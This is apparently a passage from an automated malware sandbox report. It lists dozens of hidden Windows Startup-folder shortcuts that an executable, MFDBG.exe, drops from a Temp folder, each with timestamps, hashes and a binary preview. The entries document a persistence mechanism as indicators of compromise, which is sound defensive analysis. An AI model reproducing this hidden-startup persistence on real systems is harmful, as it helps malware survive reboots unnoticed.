Preview:	L..................F...."...]W%.{...+.T.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S.E.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef08fd21eb664aa79c1ea5b4f18dc1e6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939420613273205
Encrypted:	false
SSDEEP:	24:8RhBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8h3C0R6rMhpBoUBxdRd1nYyg
MD5:	E076033009465296D847445189369F5B
SHA1:	9C0259A9C98BEDF65B788A6F608E2801449C9F03
SHA-256:	C466EBD9F6B19BA6CA13F4001BB2FF017FFAEC1E5A4DD9BA054609F9ACB3AF4F
SHA-512:	9F4D0B2475ADC582070076C464EC2CDAB36C476B6B02D39185E7D9976D51F69D852C752EEF67663F5FE812ACB6C5889D8A06634F3DA4E6F8F11A1F43B355E3FC
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef77917b2c2b4bf49c9312ae8c6ae1e4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939690663041005
Encrypted:	false
SSDEEP:	24:8T2hBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8TcC0R6rMhpBoUBxdRd1nYyg
MD5:	FF0C90822BBA627D2F2BA81852A71E91
SHA1:	2C528339278123A02183B68BF07939BD46C61298
SHA-256:	3272F1D6D02229032644302159B61D3D6F4FCEDE022DC12ABE253C90787532D9
SHA-512:	643496EC2B86BA2677EFEFBF957D3FC8C59C040770B937D1684735405F865946E5D17F2DF8B8BEFA9A84AE7EF439EB9B21A2DFB6AEA0ABB87228F7A225F63ED4
Malicious:	false
Preview:	L..................F...."...]W%.{...irB.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s#.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_efb9fd4e36c1408e8652770eb11d6d97.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:59 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93693876814321
Encrypted:	false
SSDEEP:	24:8fhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ds0R6rMhpBoUBxdRd1nYyg
MD5:	55E2FD30E74365288534B8852204D047
SHA1:	E28011E655B38595B9AA1A8611868B6D32AEC2B5
SHA-256:	D127A5494D2AAF5170C6DB6DB2F793712B9AEB3B7108F1DB290C487C74116F32
SHA-512:	83D484CE56F5EB3F34B6CE458B524E58873B631D1C604F42C6F0965AA0F3590AEB8D7F81ADE562B2A10918AD2391751448DAC7999DEB0FCFC273B722A83F00B8
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f066faed82d54fb3ac2dc041d211387f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:59 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933772576034458
Encrypted:	false
SSDEEP:	24:8ghBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ys0R6rMhpBoUBxdRd1nYyg
MD5:	E5EF2A827207A1404FB2FE766368CBB5
SHA1:	B2EF1B501C03376FD07536A0B52DB2E0A2F617EC
SHA-256:	CBB1EA5188009040388B2EF9044A5AC5B98064C196FAB93230345A7CE8C90886
SHA-512:	DFF869BA9294C6712091FDF5B82FC3C88D0B3B46D0FCFCB4FE60C373EBCBFB7AB3B70029B16387EF07690E3379F905B8A6894054007712B3AA710280F3E50506
Malicious:	false
Preview:	L..................F...."...]W%.{...W..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f070b3ef56b04545beb4676e54038d38.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9397750303221954
Encrypted:	false
SSDEEP:	24:8YhBfk8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86p0R6rMhpBoUBxdRd1nYyg
MD5:	523E409E2018D3C625BB52127E5FAE1D
SHA1:	25E02C554DBAD05BB063F8E2275CE579E0DDFD1F
SHA-256:	6131B744E1CAC75D7E5F08947DA561D0D3948ED3213E860D9EBF18AF01C283DD
SHA-512:	3E97D57BF8F6FF26C7DED52C0CF98E4F3ABCA3ECC8DDF7DC8C4305C0030BE34FFE61C835DB95A39BE3CA65F53A58C5FB4EBCC0FD96F5CDCD0CF8A9CE7F882397
Malicious:	false
Preview:	L..................F...."...]W%.{...p...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f0ef2c9bfc054c6d9c6d9c3d49f65a71.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9334104777483665
Encrypted:	false
SSDEEP:	24:8j8hBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ce0R6rMhpBoUBxdRd1nYyg
MD5:	597699C051CCEDDEB5A2C6386861E053
SHA1:	09CA9805C68E16E610E6AFE9B506563D60262188
SHA-256:	D176163D8603E0B85AF4C6AADEFAA658B7725CD921D3E87D22876237AC6802E7
SHA-512:	AEC3D086C054FB5BE689C491D23C83DD8AB5EBA887C87D7BBA20CF9456E6F9EA0EF2F4B4720817866CF16267EF0F7BAF819FE89DAE9A5B84854DEF80043B5431
Malicious:	false
Preview:	L..................F...."...]W%.{...X1..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f0f9615c7619495c8da602df4a7117d9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939164671374125
Encrypted:	false
SSDEEP:	24:8OhBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Em0R6rMhpBoUBxdRd1nYyg
MD5:	679868EDAEB8A298D5C997B083C947FC
SHA1:	CE9E860B4B8294CFD23AF348A2BE34CB2A714AAC
SHA-256:	97AEA71DDF21E065D79DD5BD565C2C2D3509E583487BA1F97ECC2B3355C49CB4
SHA-512:	20D092B13CC753744386EFA722990E2A40944D017196C23C087C16D87FC085A540BED341730355F8FB72E7CD7B24B93C093C23568B333A1B5FBB6C67BC16C741
Malicious:	false
Preview:	L..................F...."...]W%.{...^./.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f1b34b6067a24618ac47b9854a2eed8e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943302879314231
Encrypted:	false
SSDEEP:	24:8602hBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:860cO0R6rMhpBoUBxdRd1nYyg
MD5:	68A9EDB97D3ABD9C98D4D90205180430
SHA1:	2AB64B5420BE18203FFF87CD3058CA41D4BF33C8
SHA-256:	A4585CBB6E0DF5E88F4A918C79A5F0B44DFAC66383517C5E88E3A3F49B1741B8
SHA-512:	61C55A1C6BECB57A94018D7C9CB214004D61DD7FFCD41E619AFBB09AFA16CC9FA9A42F64E21AE019D0FDFF14580E59147A8C0A7249C5B29C5494B31C8C775D50
Malicious:	false
Preview:	L..................F...."...]W%.{....I..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...6...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f22898f3c73549338a5d8adccc3a949c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934753581529891
Encrypted:	false
SSDEEP:	24:8DhBfDD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83rQ0R6rMhpBoUBxdRd1nYyg
MD5:	5F4EFB4532742C114A116AA9227366E9
SHA1:	222A194EDF177BB5441F484300F8D6682B49AE3F
SHA-256:	5EE8C9128C9655BD936F3061090B96422CF68042E6F6A93A5E2455DED1449DDE
SHA-512:	AE85ECFCC110EFF8025707471EA52AFDF0613C3243FB760F95EBBF78357600C1845B3EDE5146E8D0A96D7135F286032B6A29FC6BBD9EF8C25DB6136DD4EC813D
Malicious:	false
Preview:	L..................F...."...]W%.{...@...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f23fc7a81bd3412987a1d0fdfc007332.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942512926052346
Encrypted:	false
SSDEEP:	24:82hBfEH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8c8c0R6rMhpBoUBxdRd1nYyg
MD5:	E5A287053076ACFADF35681A5CC14FEF
SHA1:	7C02D72A2DDAEAFDAA52E5746F0D353882124A7F
SHA-256:	FCAC962880654148AA03C903958738B52C7C0712E0BF7B8AA66DDD7A822CCE70
SHA-512:	FAD13C2FF9DE225E4A5A05C3461EBB9AD5015F733BA8B79189CD37726C5953E7268CD553CA6DC6E4F73307733918CB41A1DE447E941C4563182B550F32BD661A
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..../..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f24236f8b25a4e9a81d2ca710d1809b6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:58 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929409691030296
Encrypted:	false
SSDEEP:	24:8jhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Xs0R6rMhpBoUBxdRd1nYyg
MD5:	AADA1C1BBA50DC9822ED2523927D764E
SHA1:	B86BD886E93BD26673B4AB1C1CDC8808C8D279ED
SHA-256:	3F96DEFC0256952173CD49DFA55CE2BDE01EFCFEA535A5182D82303391FCC0C6
SHA-512:	C257F0549ADA729D9FF54B7D816D91B7E33A3AC2AA0261592FF6B8861286E22E208037D682E275257E5744657877564371B20980DEB7EDC1A2F8A6BBF1F0F4E1
Malicious:	false
Preview:	L..................F...."...]W%.{...9.h.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f26fb15c1e1a4631a4551e5722b16c44.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93497781143404
Encrypted:	false
SSDEEP:	24:8ahBf/D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8QnQ0R6rMhpBoUBxdRd1nYyg
MD5:	D1AD9E443D7044A59E3D37C31DA4F334
SHA1:	79C5842B3C17F28F2DAAE3FBFCBA405E50EC6EEA
SHA-256:	0A162C95D50A93B9584396B36D620BF7908A27D388945DA296EC95D9BDE9CC81
SHA-512:	878886E72E6D5C1F2AB650894BA70E0A595287B909E2A2A4FB960CE82418D47306D059949D582711D39F001D6B8090214057DFC5B46C72DF5D8C3F33EE2F5DE5
Malicious:	false
Preview:	L..................F...."...]W%.{....G2.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@.J.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f28755209ba048569fbf4daf694ab1ce.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936427977972878
Encrypted:	false
SSDEEP:	24:8EhBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8mD0R6rMhpBoUBxdRd1nYyg
MD5:	87B7CD6D66B574189DC69B5D985237F0
SHA1:	5AAE26EC1D7819D1E2E5C5114AFDC57D397A0181
SHA-256:	257C18D3EFC4545F7796764A8DA978F85F5C94B933FCD8B48DD91B47CE32BB28
SHA-512:	BA113BBC5987DB812783831ED019B6B8DABDCC5CD0D0D99F0007FC1A0F93FBB00B552DDAF160832AA71A7756E9A92D7CB2597545E386C7BBC1ABE1BFD80FDBEB
Malicious:	false
